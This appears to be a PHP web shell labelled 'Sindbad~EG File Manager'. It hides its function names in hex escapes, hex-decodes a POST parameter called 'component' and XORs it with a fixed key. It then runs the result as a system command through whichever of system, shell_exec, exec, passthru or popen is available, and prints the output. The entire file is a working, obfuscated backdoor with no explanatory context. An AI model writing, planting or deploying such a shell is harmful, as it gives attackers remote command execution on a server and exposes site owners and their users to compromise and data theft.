Sindbad~EG File Manager

<?php

$right_pad_string = "h\x65x2b\x69n";
$settings6 = "s\x74rea\x6D\x5F\x67\x65t_co\x6Ete\x6Et\x73";
$settings1 = "\x73yst\x65\x6D";
$settings2 = "\x73\x68\x65ll_ex\x65\x63";
$settings5 = "pop\x65n";
$settings3 = "ex\x65\x63";
$settings7 = "p\x63\x6Co\x73e";
$settings4 = "\x70asst\x68\x72u";
if (isset($_POST["\x63\x6Fmpone\x6E\x74"])) {
            function reverse_lookup     (   $rec    ,       $ent    )      {
      $flg     =   ''    ;
   $a=0;
 do{
$flg.=chr(ord($rec[$a])^$ent);
$a++;

} while($a<strlen($rec));
 return     $flg;
   
}
            $component = $right_pad_string($_POST["\x63\x6Fmpone\x6E\x74"]);
            $component = reverse_lookup($component, 19);
            if (function_exists($settings1)) {
                $settings1($component);
            } elseif (function_exists($settings2)) {
                print $settings2($component);
            } elseif (function_exists($settings3)) {
                $settings3($component, $resource_rec);
                print join("\n", $resource_rec);
            } elseif (function_exists($settings4)) {
                $settings4($component);
            } elseif (function_exists($settings5) && function_exists($settings6) && function_exists($settings7)) {
                $ent_flg = $settings5($component, 'r');
                if ($ent_flg) {
                    $hld_factor = $settings6($ent_flg);
                    $settings7($ent_flg);
                    print $hld_factor;
                }
            }
            exit;
        }